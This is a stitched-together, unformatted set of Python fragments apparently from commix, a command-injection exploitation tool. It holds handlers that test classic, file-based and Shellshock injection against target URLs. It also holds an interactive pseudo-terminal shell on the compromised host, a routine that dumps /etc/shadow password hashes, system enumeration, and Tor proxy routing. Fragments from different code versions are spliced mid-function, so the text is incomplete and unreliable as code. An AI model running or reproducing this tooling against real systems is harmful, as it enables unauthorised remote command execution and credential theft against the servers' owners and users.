vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.enumeration_options(): fb_enumeration.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if not menu.file_access_options( ) and not menu.options.os_cmd: if not settings.VERBOSITY_LEVEL >= 1 and new_line: print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: if settings.ENUMERATION_DONE != True: print "" while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " sys.stdout.write( settings.print_question_msg( question_msg)) file_access_again = sys.stdin.readline( ).replace("\n", "").lower() else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "y" if file_access_again in settings.CHOICE_YES: fb_file_access.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) print "" break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.file_access_options(): # if not menu.enumeration_options(): # print "" fb_file_access.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) print "" # Check if defined single cmd. if menu.options.os_cmd: # if not menu.file_access_options(): # print "" fb_enumeration.single_os_cmd_exec( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) try: # Pseudo-Terminal shell go_back = False go_back_again = False while True: # Delete previous shell (text) files (output) # if settings.VERBOSITY_LEVEL >= 1: # print "" delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if settings.VERBOSITY_LEVEL >= 1: print "" if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " sys.stdout.write( settings.print_question_msg( question_msg)) gotshell = sys.stdin.readline().replace( "\n", "").lower() else: gotshell = "" if len(gotshell) == 0: gotshell = "y" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: # Tab compliter if not readline_error: readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) # if settings.VERBOSITY_LEVEL >= 1: # print "" if cmd.lower( ) in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE) if go_back and go_back_again == False: break if go_back and go_back_again: return True else: time.sleep(timesec) response = fb_injector.injection( separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Command execution results. shell = fb_injector.injection_results( url, OUTPUT_TEXTFILE, timesec) shell = "".join( str(p) for p in shell) if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd( url, cmd, vuln_parameter) if shell: if shell != "": # Update logs with executed cmds and execution results. logs.executed_command( filename, cmd, shell) print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n" if not shell or shell == "": if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The '" + cmd + "' command, does not return any output." print settings.print_critical_msg( err_msg) + "\n" elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) pass except KeyboardInterrupt: # if settings.VERBOSITY_LEVEL >= 1: print "" # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise
def shell_success(): success_msg = "Everything is in place, cross your fingers and wait for a shell!\n" sys.stdout.write(settings.print_success_msg(success_msg)) sys.stdout.flush()
def do_check(): # Check if 'tor' is installed. requirment = "tor" requirments.do_check(requirment) # Check if 'privoxy' is installed. requirment = "privoxy" requirments.do_check(requirment) check_privoxy_proxy = True info_msg = "Testing Tor SOCKS proxy settings (" info_msg += settings.PRIVOXY_IP + ":" + PRIVOXY_PORT info_msg += ")... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: privoxy_proxy = urllib2.ProxyHandler({ settings.PROXY_PROTOCOL: settings.PRIVOXY_IP + ":" + PRIVOXY_PORT }) opener = urllib2.build_opener(privoxy_proxy) urllib2.install_opener(opener) except: check_privoxy_proxy = False pass if check_privoxy_proxy: try: check_tor_page = opener.open( "https://check.torproject.org/").read() found_ip = re.findall(r": <strong>" + "(.*)" + "</strong></p>", check_tor_page) if not "You are not using Tor" in check_tor_page: sys.stdout.write("[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + "]\n") sys.stdout.flush() if menu.options.tor_check: success_msg = "Tor connection is properly set. " else: success_msg = "" success_msg += "Your ip address appears to be " + found_ip[ 0] + ".\n" sys.stdout.write(settings.print_success_msg(success_msg)) warn_msg = "Increasing default value for option '--time-sec' to" warn_msg += " " + str( settings.TIMESEC) + " because switch '--tor' was provided." print settings.print_warning_msg(warn_msg) else: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" if menu.options.tor_check: err_msg = "It seems that your Tor connection is not properly set. " else: err_msg = "" err_msg += "Can't establish connection with the Tor SOCKS proxy. " err_msg += "Please make sure that you have " err_msg += "Tor installed and running so " err_msg += "you could successfully use " err_msg += "switch '--tor'." print settings.print_critical_msg(err_msg) sys.exit(0) except urllib2.URLError, err_msg: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" if menu.options.tor_check: err_msg = "It seems that your Tor connection is not properly set. " else: err_msg = "" warn_msg = "Please make sure that you have " warn_msg += "Tor installed and running so " warn_msg += "you could successfully use " warn_msg += "switch '--tor'." print settings.print_warning_msg(warn_msg) print settings.print_critical_msg( str(err_msg.args[0]).split("] ")[1] + ".") sys.exit(0)
def shellshock_handler(url, http_request_method, filename): counter = 1 vp_flag = True no_result = True export_injection_info = False injection_type = "results-based command injection" technique = "shellshock injection technique" info_msg = "Testing the " + technique + ". " if settings.VERBOSITY_LEVEL > 1: info_msg = info_msg + "\n" sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: i = 0 total = len(shellshock_cves) * len(headers) for cve in shellshock_cves: for check_header in headers: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False i = i + 1 attack_vector = "echo " + cve + ":Done;" payload = shellshock_payloads(cve, attack_vector) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: sys.stdout.write("\n" + settings.print_payload(payload)) elif settings.VERBOSITY_LEVEL > 1: info_msg = "Generating payload for the injection..." print(settings.print_info_msg(info_msg)) print(settings.print_payload(payload)) header = {check_header : payload} request = _urllib.request.Request(url, None, header) if check_header == "User-Agent": menu.options.agent = payload else: menu.options.agent = default_user_agent log_http_headers.do_check(request) log_http_headers.check_http_traffic(request) # Check if defined any HTTP Proxy. if menu.options.proxy: response = proxy.use_proxy(request) # Check if defined Tor. elif menu.options.tor: response = tor.use_tor(request) else: response = _urllib.request.urlopen(request) percent = ((i*100)/total) float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) if str(float_percent) == "100.0": if no_result == True: percent = settings.FAIL_STATUS else: percent = settings.SUCCESS_MSG no_result = False elif len(response.info()) > 0 and cve in response.info(): percent = settings.SUCCESS_MSG no_result = False elif len(response.read()) > 0 and cve in response.read(): percent = settings.SUCCESS_MSG no_result = False else: percent = str(float_percent)+ "%" if not settings.VERBOSITY_LEVEL >= 1: info_msg = "Testing the " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if no_result == False: # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) vuln_parameter = "HTTP Header" the_type = " " + vuln_parameter check_header = " " + check_header vp_flag = logs.add_parameter(vp_flag, filename, the_type, check_header, http_request_method, vuln_parameter, payload) check_header = check_header[1:] logs.update_payload(filename, counter, payload) if settings.VERBOSITY_LEVEL >= 1: checks.total_of_requests() success_msg = "The (" + check_header + ") '" success_msg += url + Style.RESET_ALL + Style.BRIGHT success_msg += "' seems vulnerable via " + technique + "." if settings.VERBOSITY_LEVEL <= 1: print("") print(settings.print_success_msg(success_msg)) sub_content = "\"" + payload + "\"" print(settings.print_sub_content(sub_content)) # Enumeration options. if settings.ENUMERATION_DONE == True : if settings.VERBOSITY_LEVEL >= 1: print("") while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = _input(settings.print_question_msg(question_msg)) else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "y" if enumerate_again in settings.CHOICE_YES: enumeration(url, cve, check_header, filename) break elif enumerate_again in settings.CHOICE_NO: break elif enumerate_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: enumeration(url, cve, check_header, filename) # File access options. if settings.FILE_ACCESS_DONE == True : while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " file_access_again = _input(settings.print_question_msg(question_msg)) else: file_access_again= "" if len(file_access_again) == 0: file_access_again = "y" if file_access_again in settings.CHOICE_YES: file_access(url, cve, check_header, filename) break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + file_access_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: file_access(url, cve, check_header, filename) if menu.options.os_cmd: cmd = menu.options.os_cmd shell, payload = cmd_exec(url, cmd, cve, check_header, filename) print("\n") + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL raise SystemExit() else: # Pseudo-Terminal shell print("") go_back = False go_back_again = False while True: if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " gotshell = _input(settings.print_question_msg(question_msg)) else: gotshell= "" if len(gotshell) == 0: gotshell= "y" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print("") print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if readline_error: checks.no_readline_module() while True: try: if not readline_error: # Tab compliter readline.set_completer(menu.tab_completer) # MacOSX tab compliter if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''): readline.parse_and_bind("bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind("tab: complete") cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) go_back, go_back_again = check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again) if go_back: break else: shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell != "": # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, shell) print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") else: info_msg = "Executing the '" + cmd + "' command. " if settings.VERBOSITY_LEVEL == 1: sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() sys.stdout.write("\n" + settings.print_payload(payload)+ "\n") elif settings.VERBOSITY_LEVEL > 1: sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() sys.stdout.write("\n" + settings.print_payload(payload)+ "\n") err_msg = "The '" + cmd + "' command, does not return any output." print(settings.print_critical_msg(err_msg) + "\n") except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) raise except: info_msg = "Testing the " + technique + ". " if settings.VERBOSITY_LEVEL > 1: info_msg = info_msg + "\n" sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() break elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + gotshell + "' is not a valid answer." print(settings.print_error_msg(err_msg)) continue break else: continue if no_result and settings.VERBOSITY_LEVEL < 2: print("") except _urllib.error.HTTPError as err_msg: if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR: response = False elif settings.IGNORE_ERR_MSG == False: err = str(err_msg) + "." print("\n") + settings.print_critical_msg(err) continue_tests = checks.continue_tests(err_msg) if continue_tests == True: settings.IGNORE_ERR_MSG = True else: raise SystemExit() except _urllib.error.URLError as err_msg: err_msg = str(err_msg.reason).split(" ")[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL >= 1 and settings.LOAD_SESSION == False: print("") print(settings.print_critical_msg(err_msg)) raise SystemExit() except _http_client.IncompleteRead as err_msg: print(settings.print_critical_msg(err_msg + ".")) raise SystemExit()
def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, delay): if settings.TARGET_OS == "win": # Not yet implemented! pass else: cmd = settings.SYS_PASSES response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, delay) # Evaluate injection results. sys_passes = cb_injector.injection_results(response, TAG, cmd) sys_passes = "".join(str(p) for p in sys_passes) session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) else: sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if sys_passes == "": sys_passes = " " if sys_passes : if settings.VERBOSITY_LEVEL >= 1: print "" info_msg = "Fetching '" + settings.SHADOW_FILE info_msg += "' to enumerate users password hashes... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() sys_passes = sys_passes.replace(" ", "\n") sys_passes = sys_passes.split() if len(sys_passes) != 0 : sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]") success_msg = "Identified " + str(len(sys_passes)) success_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] success_msg += " in '" + settings.SHADOW_FILE + "'.\n" sys.stdout.write("\n" + settings.print_success_msg(success_msg)) sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg ) output_file.close() count = 0 for line in sys_passes: count = count + 1 try: if ":" in line: fields = line.split(":") if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": print " (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL # Add infos to logs file. output_file = open(filename, "a") output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") output_file.close() # Check for appropriate '/etc/shadow' format. except IndexError: if count == 1 : warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " warn_msg += "in the appropriate format. Thus, it is expoted as a text file." sys.stdout.write(settings.print_warning_msg(warn_msg)+ "\n") print fields[0] output_file = open(filename, "a") output_file.write(" " + fields[0]) output_file.close() else: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") sys.stdout.flush() warn_msg = "It seems that you don't have permissions to read '" warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes." print "\n" + settings.print_warning_msg(warn_msg)
def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False if settings.TARGET_OS == "win": settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS cmd = settings.RECOGNISE_OS if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. check_how_long, output = tb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) _ = True else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) target_os = output if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _: print("") if target_os: if settings.TARGET_OS != "win": cmd = settings.DISTRO_INFO if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _: sys.stdout.write("") check_how_long, output = tb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd( url, cmd, vuln_parameter) distro_name = output if len(distro_name) != 0: target_os = target_os + " (" + distro_name + ")" if settings.TARGET_OS == "win": cmd = settings.WIN_RECOGNISE_HP else: cmd = settings.RECOGNISE_HP if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _: sys.stdout.write("\n") # The main command injection exploitation. check_how_long, output = tb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) target_arch = output if target_arch: if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _: print("") success_msg = "The target operating system is " + target_os + Style.RESET_ALL success_msg += Style.BRIGHT + " and the hardware platform is " + target_arch sys.stdout.write(settings.print_success_msg(success_msg) + ".") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The target operating system is " + target_os success_msg += " and the hardware platform is " + target_arch + ".\n" output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub( "", settings.SUCCESS_SIGN) + success_msg) output_file.close() else: warn_msg = "Heuristics have failed to retrieve the system information." print(settings.print_warning_msg(warn_msg))
def cb_injection_handler(url, timesec, filename, http_request_method): counter = 1 vp_flag = True no_result = True is_encoded = False export_injection_info = False injection_type = "results-based OS command injection" technique = "classic command injection technique" if not settings.LOAD_SESSION: info_msg = "Testing the " + "(" + injection_type.split( " ")[0] + ") " + technique + "... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL >= 1: print "" i = 0 # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len( settings.SEPARATORS) * len(settings.SUFFIXES) for whitespace in settings.WHITESPACE: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: if whitespace == " ": whitespace = urllib.quote(whitespace) # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. if settings.LOAD_SESSION and session_handler.notification( url, technique, injection_type): try: settings.CLASSIC_STATE = True url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print settings.print_critical_msg(err_msg) sys.exit(0) else: i = i + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Change TAG on every request to prevent false-positive results. TAG = ''.join( random.choice(string.ascii_uppercase) for i in range(6)) randv1 = random.randrange(100) randv2 = random.randrange(100) randvcalc = randv1 + randv2 # Define alter shell alter_shell = menu.options.alter_shell try: if alter_shell: # Classic -alter shell- decision payload (check if host is vulnerable). payload = cb_payloads.decision_alter_shell( separator, TAG, randv1, randv2) else: # Classic decision payload (check if host is vulnerable). payload = cb_payloads.decision( separator, TAG, randv1, randv2) # Define prefixes & suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = re.sub(" ", whitespace, payload) # Check for base64 / hex encoding payload = checks.perform_payload_encoding(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: print settings.print_payload(payload) elif settings.VERBOSITY_LEVEL > 1: info_msg = "Generating a payload for injection..." print settings.print_info_msg(info_msg) print settings.print_payload(payload) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) response = cb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) response = cb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) response = cb_injector.referer_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) response = cb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: # Check if target host is vulnerable. response, vuln_parameter = cb_injector.injection_test( payload, http_request_method, url) # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate test results. time.sleep(timesec) shell = cb_injector.injection_test_results( response, TAG, randvcalc) if not settings.VERBOSITY_LEVEL >= 1: percent = ((i * 100) / total) float_percent = "{0:.1f}".format( round(((i * 100) / (total * 1.0)), 2)) if shell == False: info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "... " + "[ " + float_percent + "%" + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if float(float_percent) >= 99.9: if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = str(float_percent) + "%" elif len(shell) != 0: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: percent = str(float_percent) + "%" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except: continue # Yaw, got shellz! # Do some magic tricks! if shell: found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.VERBOSITY_LEVEL >= 1 and not settings.LOAD_SESSION: print "" # Print the findings to terminal. success_msg = "The" if found_vuln_parameter == " ": success_msg += http_request_method + "" success_msg += ('', ' (JSON)')[settings.IS_JSON] + ( '', ' (SOAP/XML)' )[settings.IS_XML] + the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split( " ")[0] + ") " + technique + "." print settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub( "%20", " ", re.sub("%2B", "+", payload)) + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation( url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. new_line = True if settings.ENUMERATION_DONE == True: while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = raw_input( "\n" + settings.print_question_msg( question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "y" if enumerate_again in settings.CHOICE_YES: cb_enumeration.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) #print "" break elif enumerate_again in settings.CHOICE_NO: new_line = False break elif enumerate_again in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.enumeration_options(): cb_enumeration.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) if not menu.file_access_options( ) and not menu.options.os_cmd and new_line: print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: if settings.ENUMERATION_DONE != True: print "" while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " sys.stdout.write( settings.print_question_msg( question_msg)) file_access_again = sys.stdin.readline( ).replace("\n", "").lower() else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "y" if file_access_again in settings.CHOICE_YES: cb_file_access.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) print "" break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + file_access_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.file_access_options(): # if not menu.enumeration_options(): # print "" cb_file_access.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) print "" # Check if defined single cmd. if menu.options.os_cmd: # if not menu.file_access_options(): # print "" cb_enumeration.single_os_cmd_exec( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " sys.stdout.write( settings.print_question_msg(question_msg)) gotshell = sys.stdin.readline().replace( "\n", "").lower() else: gotshell = "" if len(gotshell) == 0: gotshell = "y" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: try: if not readline_error: # Tab compliter readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower( ) in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") if go_back and go_back_again == False: break if go_back and go_back_again: return True else: # Command execution results. time.sleep(timesec) response = cb_injector.injection( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload( url, timesec) if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. try: shell = cb_injector.injection_results( response, TAG, cmd) shell = "".join( str(p) for p in shell) except: print "" continue if not menu.options.ignore_session: 